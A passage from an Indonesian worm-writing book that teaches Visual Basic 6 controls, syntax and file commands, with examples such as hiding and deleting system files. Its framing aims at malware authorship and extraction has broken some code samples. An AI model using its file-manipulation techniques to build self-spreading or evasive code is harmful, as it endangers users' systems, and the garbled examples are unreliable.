Computer Worm 1 - Secret of Underground Coding : Uncensored
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
SAAT TERJADI
Change
Terjadi perubahan pada HScrollBar
Scroll
User melakukan penggulungan dengan mengklik area bar atau panah scroll.
Bab 5. Object Form dan Control
5.2.11 VSCROLLBAR Control VScrollBar atau vertical scrollbar adalah control masukan yang digunakan sebagai input atau indikator kuantitas dalam bentuk vertikal. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
KETERANGAN
(Name)
Nama VScrollBar, biasanya diberi prefix vsb
Enabled
Jika bernilai true, mengijinkan VScrollBar untuk merespon event mouse dan keyboard. Jika bernilai false, VScrollBar akan menolak event tersebut
Height
Tinggi VScrollBar
LargeChange
Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada VScrollBar saat area bar di klik
Max
Mengatur nilai terbesar pada properti Value, jangkauan terbesarnya adalah 32,767
Min
Mengatur nilai terkecil pada properti Value, jangkauan terkecilnya adalah -32,768
SmallChange
Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada VScrollBar saat panah scroll di klik
Width
Lebar VScrollBar.
64
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
SAAT TERJADI
Change
Terjadi perubahan pada VScrollBar
Scroll
User melakukan penggulungan dengan mengklik area bar atau panah scroll.
Control Timer adalah control yang digunakan untuk event yang tidak memerlukan interaksi user dan berjalan dengan sendirinya. Di bawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
KETERANGAN
(Name)
Nama Timer, biasanya diberi prefix tmr
Enabled
Jika bernilai true, mengijinkan Timer untuk merespon event yang terjadi. Jika bernilai false, Timer akan menolak event tersebut
Interval
Mengatur jarak waktu / jeda dalam milliseconds (seperseribu detik) antara waktu panggil dengan dieksekusinya event yang ditentukan. Misalnya suatu Timer memiliki Interval sebesar 500 milliseconds (0.5 second), ini sama saja artinya Timer tersebut akan mengeksekusi procedure didalamnya sebanyak 2 kali dalam 1 detik.
karena Timer tidak memerlukan interaksi user, maka hanya memiliki satu event yang terjadi pada saat run-time yaitu: EVENT Timer
SAAT TERJADI Perubahan waktu, atau pada saat tertentu yang telah ditetapkan.
65
Jasakom
Bab 5. Object Form dan Control
5.2.12 TIMER
Computer Worm 1 - Secret of Underground Coding : Uncensored
5.2.13 DRIVELISTBOX Control DriveListBox mengijinkan user untuk memilih suatu drive pada saat run-time. Control ini menampilkan daftar drive yang tersedia di dalam sebuah ComboBox. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
KETERANGAN
Bab 5. Object Form dan Control
(Name)
Nama DriveListBox, biasanya diberi prefix drv
BackColor
Warna latar belakang DriveListBox
Font
Mengatur jenis, model dan ukuran huruf
ForeColor
Mengatur warna teks pada DriveListBox
Height
Tinggi DriveListBox
Width
Lebar DriveListBox.
Di bawah ini contoh beberapa event yang biasanya dimanfaatkan: EVENT
SAAT TERJADI
Change
Terjadi perubahan pada DriveListBox
GotFocus
DriveListBox mendapat fokus
LostFocus
Sesaat sebelum fokus berpindah dari DriveListBox.
5.2.14 DIRLISTBOX Control DirListBox atau directory list box, menampilkan daftar direktori aktif di dalam sebuah ListBox. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
KETERANGAN
(Name)
Nama DirListBox, biasanya diberi prefix dir
BackColor
Warna latar belakang DirListBox
Font
Mengatur jenis, model dan ukuran huruf
ForeColor
Mengatur warna teks pada DirListBox
Height
Tinggi DirListBox
Width
Lebar DirListBox.
66
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: SAAT TERJADI
Change
Terjadi perubahan pada DirListBox
Click
User mengklik pada DirListBox
GotFocus
DirListBox mendapat fokus
LostFocus
Sesaat sebelum fokus berpindah dari DirListBox.
5.2.15 FILELISTBOX Control FileListBox menampilkan daftar file di dalam sebuah ListBox. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
KETERANGAN
(Name)
Nama FileListBox, biasanya diberi prefix fil
Archive
Jika false, maka tidak menampilkan file yang ber-atribut Archive
BackColor
Warna latar belakang FileListBox
Font
Mengatur jenis, model dan ukuran huruf
ForeColor
Mengatur warna teks pada FileListBox
Height
Tinggi FileListBox
Hidden
Jika true, maka menampilkan file yang beratribut Hidden (Hidden file adalah file yang diatur agar tidak terlihat oleh user)
MultiSelect
Mengatur cara pemilihan, yang memungkinkan untuk memilih lebih dari satu file
Pattern
Mengatur pola file yang akan ditampilkan pada FileListBox, misalnya *.exe, ini berarti hanya akan menampilkan file yang berekstensi exe saja.
ReadOnly
Jika false, maka tidak menampilkan file yang beratribut Read only
System
Jika false, maka tidak menampilkan file yang beratribut System
Width
Lebar FileListBox
67
Jasakom
Bab 5. Object Form dan Control
EVENT
Computer Worm 1 - Secret of Underground Coding : Uncensored
Di bawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
SAAT TERJADI
Click
User mengklik pada FileListBox
DblClick
User melakukan double click pada FileListBox
GotFocus
FileListBox mendapat fokus
LostFocus
Sesaat sebelum fokus berpindah dari FileListBox.
Bab 5. Object Form dan Control
5.2.16 SHAPE Dengan control Shape kita bisa membuat lingkaran (circles), bujur telur (ovals), segi empat (square), persegi panjang (rectangles), segi empat siku bulat (rounded square) dan persegi panjang siku bulat (rounded rectangles). Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
KETERANGAN
(Name)
Nama Shape, biasanya diberi prefix shp
BackColor
Warna latar belakang Shape jika properti BackStyle adalah opaque
BorderColor
Mengatur warna garis tepi pada Shape
BorderStyle
Mengatur jenis garis yang digunakan
BorderWidth
Mengatur ketebalan garis
FillColor
Mengatur warna isi dari Shape
FillStyle
Mengatur cara pengisian warna pada Shape, bisa berupa garis horizontal, vertical, cross atau solid.
Height
Tinggi Shape
Shape
Mengatur bentuk Shape, bisa berupa circles, ovals, square, rectangles, rounded square dan rounded rectangles
Width
Lebar Shape.
68
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Untuk Shape tidak ada event yang bisa dimanfaatkan, karena Shape dibuat tidak bertujuan untuk melakukan event tertentu tetapi hanya untuk kepentingan interface saja.
5.2.17 LINE Dengan control Line kita bisa membuat gambar garis. Dibawah ini beberapa contoh properti yang biasanya digunakan: KETERANGAN
(Name)
Nama Line, biasanya diberi prefix lin
BorderColor
Mengatur warna garis
BorderStyle
Mengatur jenis garis yang digunakan
BorderWidth
Mengatur ketebalan garis
Untuk Line tidak ada event yang bisa dimanfaatkan, karena Line dibuat tidak bertujuan untuk melakukan event tertentu tetapi hanya untuk kepentingan interface saja.
5.2.18 IMAGE Dengan control Image kita bisa menempatkan object gambar pada form. Dibawah ini beberapa contoh properti yang biasanya digunakan untuk control Image: PROPERTI
KETERANGAN
(Name)
Nama Image, biasanya diberi prefix img
Height
Tinggi Image
Picture
Mengatur object gambar pada bidang Image
Stretch
Jika bernilai true, maka object gambar akan menyesuaikan dengan ukuran control Image
Width
Lebar Image.
69
Jasakom
Bab 5. Object Form dan Control
PROPERTI
Computer Worm 1 - Secret of Underground Coding : Uncensored
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
SAAT TERJADI
Click
User mengklik pada bidang Image
DblClick
User melakukan double click pada bidang Image.
5.2.19 DATA Bab 5. Object Form dan Control
Control Data dimanfaatkan pada saat pembuatan aplikasi database. Control ini memudahkan untuk berpindah dari satu data record ke data record lainnya. Dibawah ini beberapa contoh properti yang biasanya digunakan: PROPERTI
KETERANGAN
(Name)
Nama control Data, biasanya diberi prefix dat
Allign
Mengatur posisi control Data pada form
BackColor
Mengatur warna latar pada control Data
Caption
Mengatur teks yang ditampilkan pada control Data
Connect
Mengatur jenis sumber data yang digunakan
DatabaseName
Menentukan file data yang digunakan
Height
Tinggi control Data
RecordSource
Menentukan data yang digunakan pada tabel sumber
Width
Lebar control Data.
Dibawah ini adalah contoh event yang biasanya dimanfaatkan: EVENT Validate
70
Jasakom
SAAT TERJADI Saat validasi suatu record terjadi
Computer Worm 1 - Secret of Undeground Coding : Uncensored
5.2.20 OLE Control OLE dimanfaatkan untuk memasukan third party object seperti aplikasi MS Word, Paint, Calendar dan lain sebagainya. Dibawah ini beberapa contoh properti yang biasanya digunakan: KETERANGAN
(Name)
Nama control OLE, biasanya diberi prefix ole
AutoActivate
Mengatur cara control OLE diaktifkan
BackColor
Mengatur warna latar pada control OLE
BorderStyle
Mengatur jenis garis tepi pada control OLE
Class
Mengatur Class yang digunakan
Height
Tinggi control OLE
SizeMode
Mengatur model ukuran pada control OLE
Width
Lebar control OLE.
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaatkan: EVENT
SAAT TERJADI
Click
User mengklik pada control OLE
DblClick
User melakukan double click pada control OLE
GotFocus
Control OLE mendapat fokus
LostFocus
Sesaat sebelum fokus berpindah dari control OLE
Updated
Data berubah, diperbarui
71
Jasakom
Bab 5. Object Form dan Control
PROPERTI
Computer Worm 1 - Secret of Undeground Coding : Uncensored
BAB 6 KODE PROGRAM
Sebagian besar worm komputer di masa lalu dibuat dengan bahasa pemrograman assembly yang merupakan bahasa pemrograman tingkat rendah dan cukup sulit untuk digunakan. Namun kini, para worm writer lebih memilih menggunakan bahasa pemrograman tingkat tinggi dan tool yang lebih maju, mengingat optimisasi yang dilakukan cenderung bersifat mengaburkan logika dari kode yang ditulis dalam bahasa tingkat tinggi tersebut. Sehingga tingkat kompleksitas program yang dihasilkan dapat mempersulit para peneliti untuk melakukan proses unassembly dan analisa. Melanjutkan bab sebelumya maka bab ini akan memuat teknik penulisan pada salah satu bahasa pemrograman tingkat tinggi tersebut, yaitu bahasa Visual Basic.
73
Jasakom
Bab 6. Kode Program
Kenapa bab ini ada?
Computer Worm 1 - Secret of Underground Coding : Uncensored
K
ode program adalah instruksi-instruksi yang ditulis oleh programmer dengan bahasa pemrograman tertentu, yang memerintahkan aplikasi untuk melakukan tugas tertentu pula. Bahasa yang digunakan pada Visual Basic umumnya hampir sama dengan bahasa pemrograman basic lainnya (basic, turbo basic, qbasic). Dengan Visual Basic, pemrograman tidak dilakukan hanya dengan menulis kode saja tetapi sudah menggunakan pendekatan visual untuk merancang user interface-nya. Pada Visual Basic, kode-kode pemrograman biasanya diletakkan pada object-object sebagai berikut:
Bab 6. Kode program
1. Object Form, kode ini akan dijalankan apabila Form tersebut diload. 2. Control, control bisa memiliki penugasan sendiri yang disebut dengan event procedure. Setiap control tersebut bisa memiliki event procedure lebih dari satu, dan setiap event procedure yang dibuat bisa membuat aksi yang berbeda. 3. Standard Module, adalah object yang terpisah dari form. Standard Module berisi kode-kode program yang bersifat global yang dapat dipanggil oleh object apa saja.
6.1 VARIABEL Variabel digunakan pada Visual Basic untuk menyimpan informasi yang diperlukan oleh aplikasi. Untuk memberi nama variabel, harus memiliki syarat sebagai berikut: 1. 2. 3. 4.
Tidak lebih dari 40 karakter Berupa huruf, angka dan underscore Karakter pertama berupa huruf Tidak menggunakan kata yang termasuk kode program (kata yang termasuk perintah atau function dalam bahasa Visual Basic).
Variabel dalam Visual Basic memiliki beberapa tipe, pemilihan tipe variabel yang sesuai akan sangat berpengaruh terhadap pemakaian resources oleh program aplikasi yang dibuat.
74
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Untuk menghindari kesalahan yang diakibatkan kekeliruan pada pembuatan variabel, biasanya variabel dideklarasikan. Berikut cara untuk mendeklarasikan variabel:
6.1.1 IMPLICIT Implicit, untuk membuat deklarasi implicit, gunakan sufix (akhiran) yang berhubungan dengan tipe data pada tabel berikut: Jangkauan
Ukuran
Sufix
Boolean
True (benar) atau False (salah)
2 bytes
Integer
-32768 s/d 32767
2 bytes
%
Long (Integer)
-2147483.648 s/d 2147483647
4 bytes
&
Single (Floating)
Negatif: -3.402823E38 s/d -1.401298E-45
4 bytes
!
8 bytes
#
8 bytes
@
Bab 6. Kode Program
Tipe Data
Positif: 1.401298E-45 s/d 3.402823E38 Double (Floating)
Negatif: -1.79769313486232E308 s/d -4.94065645841247E-324 Positif: 4.94065645841247E-324 s/d 1.79769313486232E308
Currency
-922337203685477.5808 s/d 922337203685477.5807
Date
1 Januari 100 s/d 31 Desember 8 bytes 9999
Object
Referensi Object
String
0 s/d 2 Milyar Karakter (95/97 1 bytes $ & NT) dan 0 s/d sekitar 65535 p e r karakter (versi 3.1) karakter
Variant
Null,Error, dan seluruh tipe data 16 byte lain misalnya boolean, numerik, + 1 byte string, object, array. p e r karater
Byte
0 s/d 255
4 bytes
1 byte
75
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Contoh pe nggunaan variabel string dalam code program : Kalimat$="ini string gitu loh"
Sedangkan berikut adalah contoh penggunaan variabel integer : Jumlah% = 300
6.1.2 EXPLICIT untuk membuat deklarasi explicit, yang pertama dilakukan adalah menentukan batasan-batasannya. Ada empat jenis tingkatan yang digunakan, yaitu:
Bab 6. Kode program
A. Procedure level Pada tingkatan ini, variabel tidak akan berlaku lagi saat procedure berakhir.
Dim MyInt as Integer Dim MyDouble as Double Dim MyString, YourString as String
B. Procedure level, static Untuk membuat variabel tetap berlaku walaupun procedure telah berakhir, bisa dilakukan dengan mengganti pernyataan "Dim" menjadi kata "Static":
76
Static MyInt as Integer Static MyDouble as Double Static MyString, YourString as String
Dengan menempatkan pernyataan Static didepan nama procedure maka seluruh variabel dalam procedure itu bersifat static walaupun dideklarasikan oleh pernyataan Dim, contoh: Static Sub Command1_Click() Dim MyInt as Integer 'bla… bla… End Sub
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
C. Form (module) level Variabel yang menggunakan form (module) level akan berlaku untuk seluruh procedure yang ada pada form (module) tersebut. Variabel dengan tingkatan form (module) terdeklarasi dengan pendeklarasian general object di jendela kode form (module), juga menggunakan kata "Dim": Dim MyInt as Integer Dim MyDate as Date
D. Global level Variabel yang menggunakan Global level akan berlaku untuk seluruh procedure yang ada pada aplikasi tersebut, Tingkatan module variabel dideklarasi dengan pendeklarasian general object di jendela kode module (sebaiknya menampung variabel global di dalam sebuah module), menggunakan pernyataan "Global":
Global MyInt as Integer Global MyDate as Date
6.2 STATEMENTS AND EXPRESSIONS Pernyataan (statement) yang paling sederhana adalah pernyataan penugasan. Terdiri dari nama variabel dan diikuti dengan operator (=), dan diikuti beberapa ungkapan (expression). Contoh: Saldo=Debet–Kredit Harga_Jual=Harga_Beli+(Harga_Beli*10%) Explorer.Caption="Gue Lagi Iseng"
Jika pernyataan yang dibuat terlalu panjang, bisa dilanjutkan ke baris berikutnya dengan menggunakan karakter penghubung underscore ( _ ). Contoh: Months=Log(Final*IntRate/Deposit+1) _ /Log(1+IntRate)
77
Jasakom
Bab 6. Kode Program
Computer Worm 1 - Secret of Underground Coding : Uncensored
Pernyataan komentar dimulai dengan pernyataan "Rem" atau single quote ('), contoh: Rem Haiiii ini cuma komentar 'Nah ini gak bakal diakses program h = b / 2 'cara lain memberi komentar
6.3 OPERATOR Operator adalah hal yang sangat penting dalam menulis kode sebuah program. Adapun operator yang digunakan pada Visual Basic 6.0 adalah: Bab 6. Kode program
6.3.1 OPERATOR PENUGASAN (ASSIGNMENT) Operator penugasan disimbolkan dengan tanda sama dengan (=) yang berfungsi untuk memasukkan data ke suatu variabel. penulisannya adalah = contoh: Start=Now Bilangan=0 Harga=500 Jumlah=Banyak*Harga
6.3.2 OPERATOR ARITMATIKA Operator aritmatika adalah operator paling sederhana dalam proses perhitungan. Operator-operator tersebut dalam urutan yang diutamakan perhitungannya (prioritas rumus yang akan dijalankan seandainya rumus ditulis dalam satu baris tanpa tanda kurung) adalah:
78
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Operator
Keterangan
^
Pangkat
*/
Perkalian dan pembagian
\
Pembagian bulat
Mod
Sisa bagi
+-
Pertambahan dan pengurangan
Tanda kurung pada ungkapan dapat mengubah pengutamaan perhitungan. Contoh:
Untuk menggabung dua string atau lebih, bisa menggunakan simbol '&’ atau '+’, contoh: Label1.caption="Nama saya" & "Komeng"
Akan menghasilkan "Nama sayaKomeng" Label1.caption="Nama saya
" & "Komeng"
Akan menghasilkan "Nama saya Komeng" Label1.caption="Nama saya
" + "Komeng"
Akan menghasilkan "Nama saya Komeng"
6.3.3 OPERATOR KOMPARASI Operator ini digunakan untuk melakukan perbandingan. Adapun operator-operator tersebut adalah:
79
Jasakom
Bab 6. Kode Program
X=2+3*4 'Akan menghasilkan 14 Y=(2+3)*4 'Akan menghasilkan 20 Z=(2+3)*(4–2) 'Akan menghasilkan 10
Computer Worm 1 - Secret of Underground Coding : Uncensored
Operator
Keterangan
=
Sama dengan
Tidak sama dengan
<
Lebih kecil dari
>
Lebih besar dari
=
Lebih besar atau sama dengan
Like
Pencocokan pola
Is
Sama referensi object
Hasil suatu operasi komparasi adalah suatu nilai boolean berupa true (benar) atau false (salah). Contoh : Bab 6. Kode program
1=4–2 'menghasilkan false 2-14-2 'menghasilkan true x="wrm.pif" like "*.pif" 'menghasilkan true x="wrm.scr" like "wr?.*" 'menghasilkan true
6.3.4 OPERATOR LOGIKA Operator logika mengikuti operator aritmatika dalam pengutamaan perhitungan. Adapun operator-operator tersebut adalah: Operator
Keterangan
Not
Logika bukan
And
Logika dan
Or
Logika atau
Xor
Exclusive Or
Eqv
Ekivalen
Imp
Implikasi
1. Operator Not akan menghasilkan nilai true jika ungkapannya memang salah.
80
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
6.4 PERCABANGAN (BRANCHING) Statement bercabang digunakan untuk melakukan suatu tindakan di dalam suatu program berdasarkan kondisi tertentu.
6.4.1 PERCABANGAN IF/THEN/ELSE Digunakan untuk menjalankan satu blok perintah yang nilainya tergantung pada kondisi yang diuji. Penulisannya adalah sebagai berikut: If then [statements and expressions] Else [statements and expressions] End If
81
Jasakom
Bab 6. Kode Program
2. Operator And akan menghasilkan nilai true jika semua ungkapan benar, dan akan menghasilkan false, jika salah satu ungkapan salah atau semua ungkapan salah. 3. Operator Or akan menghasilkan nilai true jika salah satu ungkapan benar, dan akan menghasilkan false jika semua ungkapan salah. 4. Operator Xor akan menghasilkan nilai true jika satu ungkapan salah dan satu ungkapan lain benar, dan akan menghasilkan nilai false apabila semua ungkapan benar atau semua ungkapan salah. 5. Operator Eqv adalah kebalikan dari operator Xor, akan menghasilkan nilai true jika kedua ungkapan sama-sama benar atau samasama salah, dan akan menghasilkan false jika satu ungkapan salah dan satu ungkapan lain benar. 6. Operator Imp akan menghasilkan nilai true jika ungkapan pertama benar dan ungkapan kedua salah, selain kondisi tersebut akan menghasilkan false.
Computer Worm 1 - Secret of Underground Coding : Uncensored
Atau kita bisa menambahkan statement ElseIf, sehingga menjadi: If then [statements and expressions] ElseIf then [statements and expressions] Else [statements and expressions] End If
Bab 6. Kode program
6.4.2 PERCABANGAN SELECT CASE Sebagai tambahan terhadap percabangan If/Then/Else, format select case biasanya digunakan apabila ada kemungkinan percabangan yang lebih banyak. Penulisannya adalah sebagai berikut: Select Case [Case [statements and expressions] [Case [statements and expressions] [Case [statements and expressions] [Case Else [Case [statements and expressions] End Select
82
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
6.4.3 PERCABANGAN GOSUB/RETURN Digunakan untuk mencabang(melompat) ke suatu sub-rutin yang ditandai dengan baris label atau baris nomor. Setelah mengakses baris referensi akan kembali mengakses statement dan expression dibaris setelahnya. Penulisannya adalah sebagai berikut: GoSub [statements and expressions] [statements and expressions]
Line/branch atau baris referensi yang dituju bisa berupa baris label teks yang diakhiri titik dua, bisa juga berupa baris nomor dan harus berada pada procedure yang sama. Perhatikan contoh berikut ini: Sub Form_activate() Dim Num As single Num=InputBox("Ketik Tahun Lahir Anda") GoSub Cabang Msgbox "Usia Anda Sekarang "&Num Exit Sub 'menjadikan akhir dari sub Cabang: Num = Year(Now)-Num Return End Sub
6.4.4 PERCABANGAN GOTO Teknik percabangan ini biasanya digunakan untuk run-time error trapping, Setelah mengakses baris referensi tidak akan mengakses statement dan expression dibaris setelahnya. Penulisannya adalah sebagai berikut:
83
Jasakom
Bab 6. Kode Program
Return
Computer Worm 1 - Secret of Underground Coding : Uncensored
GoTo [statements and expressions] [statements and expressions] Return Sebagai contoh:
Bab 6. Kode program
Sub Form_activate() Dim Num As single Num=InputBox("Ketik Tahun Lahir Anda") GoSub Cabang Msgbox "Usia Anda Sekarang " & Num GoTo Akhir 'melompati sub Cabang Cabang: Num = Year(Now)-Num Return Akhir: End Sub
6.4.5 PERCABANGAN ON ERROR Percabangan ini dilakukan untuk menangani kesalahan yang terjadi pada saat run-time. Ada beberapa bentuk dalam penulisannya: 1. On Error Resume Next Apabila terjadi kesalahan, maka mengacuhkan kesalahan tersebut untuk kemudian mengakses baris setelahnya. 2. On Error Goto Apabila terjadi kesalahan, maka akan mengakses baris referensi pada procedure yang sama. 3. On Error Goto 0 Menyebabkan perangkap kesalahan yang sebelumnya dipasang menjadi tidak aktif (membatalkan penanganan kesalahan).
84
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
6.5 PENGULANGAN (LOOPING) Looping dilakukan dengan format Do/Loop. Loop digunakan untuk operasi yang akan diulang beberapa kali. Loop akan mengulang sampai suatu kondisi yang telah ditentukan di awal atau di akhir memenuhi persyaratan. Ada beberapa bentuk dalam penulisannya:
6.5.1 DO WHILE/LOOP
Counter = 1 Do While Counter 500 Debug.Print Counter Counter = Counter + 1 Loop
6.5.3 DO/LOOP WHILE Contoh dibawah ini akan melakukan perulangan selama variabel Counter kurang dari atau sama dengan 500. Counter = 1 Do Debug.Print Counter Counter = Counter + 1 Loop While Counter 500
6.5.5 FOR/NEXT Teknik perulangan ini digunakan untuk melakukan pengulangan suatu blok program sebanyak yang telah ditentukan pada nilai awal dan nilai akhir. Bentuk penulisannya: Bab 6. Kode program
For = to [step] [statements and expressions] [Exit For] [statements and expressions] Next [] Pada contoh berikut, variabel Y diawali dengan nilai 1 dan masingmasing perulangan ditambah dengan 20 step (langkah). Perulangan ini terus berlanjut sampai variabel Y menjadi lebih besar atau sama dengan 500. Jika step tidak dimasukan maka nilai default-nya adalah 1. For Y = 1 to 500 Step 20 A = Y * 2 Debug.Print A Next I
Perulangan bisa dihentikan dengan statement Exit For, yang akan langsung mengakses baris setelahnya.
86
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
6.6 PENGHENTIAN (TERMINATING) Pengakhiran total, pengakhiran sebagian dan pengakhiran sementara bisa dilakukan dengan beberapa cara:
6.6.1 END
1. End, digunakan untuk mengakhiri aplikasi, menutup semua form yang terbuka dan bisa diletakkan dimana saja 2. End If, digunakan untuk mengakhiri blok pernyataan If/Then/ Else 3. End With, digunakan untuk mengakhiri blok pernyataan With 4. End Select, digunakan untuk mengakhiri blok pernyataan Select Case 5. End Type, digunakan untuk mengakhiri struktur Type 6. End Property, digunakan untuk mengakhiri Property 7. End Sub, digunakan untuk mengakhiri Sub 8. End Function, digunakan untuk mengakhiri Function.
6.6.2 EXIT Digunakan untuk mengakhiri suatu blok pernyataan program. Beberapa bentuk pernyataan Exit, adalah sebagai berikut: 1. Exit Do, digunakan untuk keluar dari perintah do/loop dan control program di bawah perintah Loop. 2. Exit For, digunakan untuk keluar dari perintah For/Next dan control program ke bawah perintah Next. 3. Exit Function, digunakan untuk keluar dari badan function yang dipanggil dan control program kebawah baris pemanggil.
87
Jasakom
Bab 6. Kode Program
Digunakan untuk memaksa program berhenti dari suatu procedure atau pernyataan program. Beberapa bentuk pernyataan End, adalah sebagai berikut:
Computer Worm 1 - Secret of Underground Coding : Uncensored
4. Exit Property, digunakan untuk keluar dari badan procedure Property yang sedang tampil dan control program ke bawah baris pemanggil procedure Property tersebut. 5. Exit Sub, digunakan untuk keluar dari badan procedure Sub yang sedang tampil dan control program ke bawah baris pemanggil procedure Sub tersebut.
6.6.3 STOP Untuk menghentikan sementara pelaksanaan program. Pernyatan Stop tidak menutup program yang dibuka dan tidak menghapus nilai variabel, sehingga pernyataan bisa dilanjutkan kembali.
Bab 6. Kode program
6.7 ARRAY Array adalah kumpulan variabel serupa, dimana masing-masing variabel memiliki nama dan jenis yang sama. Array umumnya memiliki index, elemen pertama memiliki nomor index 0 (nol). Array bisa dideklarasikan dengan dua cara, sebagai variabel tunggal dan dengan menggunakan pernyataan To.
6.7.1 DEKLARASI DENGAN VARIABEL TUNGGAL Untuk mendeklarasikan suatu array dengan variabel tunggal, bisa menggunakan sintaksis berikut: Dim | Public | Private ArrayName (Subscript) As_ DataType 1. Dim, public dan private, adalah statement yang mendeklarasikan array dan cakupannya. Penggunaan Dim hanya akan berlaku pada procedure yang sama, sedangkan Public akan membuat array berlaku untuk keseluruhan program, sementara Private (dengan sesi General pada form, atau module) akan membuat array berlaku untuk form itu saja atau module itu saja
88
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
2. ArrayName, adalah nama dari array 3. Subscript, adalah jumlah elemen pada array. Karena index pertama pada array adalah 0 (nol), maka apabila suatu Subscript adalah 5, index pada elemen terakhir adalah 4 (elemen0, elemen1, elemen2, elemen3, elemen4) 4. As, adalah keyword pada Visual Basic untuk menandakan suatu deklarasi jenis 5. DataType, adalah jenis data yang berlaku pada Visual Basic, seperti String, Integer atau Double.
Dim nama nama(0)= nama(1)= nama(2)= nama(3)= nama(4)=
(5) as string "kangen" "mistery" "puisi cinta" "kenangan" "my heart"
6.7.2 DEKLARASI DENGAN KEYWORD TO Array juga bisa dideklarasikan menggunakan keyword To, dengan sedikit perubahan sintaksis pada bagian Subscribe. Contoh di bawah ini akan mendeklarasikan array dengan jenis data Integer dan dengan lima elemen didalamnya. Dim telp(1 to 5) As Integer telp(1)=55241 telp(2)=33937 telp(3)=10248 telp(4)=97824 telp(5)=35346
89
Jasakom
Bab 6. Kode Program
Contoh dibawah akan mendeklarasikan array dengan jenis data String dan dengan lima elemen didalamnya.
Computer Worm 1 - Secret of Underground Coding : Uncensored
6.8 PENANGANAN FILE Sebagai suatu bahasa pemrograman, Visual Basic memiliki perintahperintah dasar yang mewakili suatu tindakan tertentu. Berikut adalah beberapa perintah dasar yang berkaitan dengan penanganan file dan direktori.
6.8.1 MENGUBAH NAMA DAN MEMINDAH FILE Untuk mengubah nama atau memindah suatu file ke lokasi berbeda dapat menggunakan sintaksis berikut: Name [source] As [destination] Bab 6. Kode program
• source, menentukan path dan file yang akan di- diubah atau dipindah • destination, menentukan path atau nama untuk file yang akan diubah atau dipindah. Contoh, untuk mengubah nama file: "c:\windows\calc.exe" menjadi file: "c:\windows\kalkulator.exe" dapat menggunakan perintah berikut ini:
Name "c:\windows\calc.exe" As "c:\windows\kalkulator.exe"
Untuk memindah file: "c:\windows\calc.exe" ke lokasi "c:\windows\ system\calc.exe" dapat menggunakan perintah berikut ini:
Name "c:\windows\calc.exe" As "c:\windows\sy stem\calc.exe"
90
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
6.8.2 MEMBUAT SALINAN / MENG-COPY FILE Untuk membuat salinan atau meng-copy suatu file dapat menggunakan sintaksis berikut: FileCopy [source], [destination] : menentukan path dan nama file sumber yang akan di-copy • destination : menentukan path dan nama untuk file hasil dari proses. Adapun file tujuan bisa menggunakan nama file yang berbeda dengan file aslinya. Contoh, untuk meng-copy file: "c:\windows\notepad.exe" ke direktori "c:\windows\system" dapat menggunakan sintaksis berikut ini:
FileCopy "c:\windows\notepad.exe", "c:\windo ws\system\notepad.exe"
6.8.3 MENGHAPUS FILE Untuk menghapus suatu file dapat menggunakan sintaksis berikut ini: Kill [filename] • filename
: menentukan path dan file yang akan di hapus.
Contoh, untuk menghapus seluruh file yang berekstensi "bak" (dengan menggunakan wildcards) pada direktori "c:\windows" dapat menggunakan sintaksis berikut ini:
Kill "c:\windows\*.bak"
91
Jasakom
Bab 6. Kode Program
• source
Computer Worm 1 - Secret of Underground Coding : Uncensored
6.8.4 MELIHAT DAN MENGUBAH ATRIBUT PADA FILE Untuk memberi atribut suatu file, bisa menggunakan sintaksis berikut ini: SetAttr ([filename]), [constants / value] • filename • Constanst/value
: Menentukan path dan file yang akan disetting atributnya. : menentukan atribut dengan menggunakan symbolic constants atau value, diantaranya:
Bab 6. Kode program
Symbolic Constant
Value
Keterangan
vbNormal
0
Jenis atribut normal, menandakan file tidak diatur oleh atribut apapun.
vbReadOnly
1
Read only
vbHidden
2
Hidden
vbSystem
4
System
vbVolume
8
Volume label
vbDirectory
16
Directory
vbArchive
32
Archieve
Untuk memberi lebih dari satu atribut dengan menggunakan value, tinggal menambah bilangan pada atribut. Misalnya untuk memberi atribut Archieve (32) dan Read only (1) secara bersamaan maka digunakan bilangan 33. Sedangkan untuk menggunakan symbolic constant, yaitu dengan menambahkan tanda tambah "+" disetiap constant berikutnya. Contoh, untuk mengatur atribut file: "c:\windows\notepad .exe" menjadi Archieve dan Hidden, maka dapat menggunakan sintaksis berikut ini: SetAttr("c:\windows\notepad.exe"), 34
92
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Atau SetAttr("c:\windows\notepad.exe"), vbArchiev e +vbHidden
Untuk bisa mengetahui atribut suatu file, bisa menggunakan sintaksis berikut ini: GetAttr ([filename])
Contoh, untuk mengetahui atribut pada file: "c:\windows\calc.exe" dan menampilkannya pada sebuah kotak pesan, dapat menggunakan sintaksis berikut ini:
MsgBox GetAttr("c:\windows\calc.exe")
Sintaksis ini akan memberikan hasil berupa value seperti pada cara pembuatan atribut: 1 untuk Read only, 2 untuk Hidden, dan seterusnya.
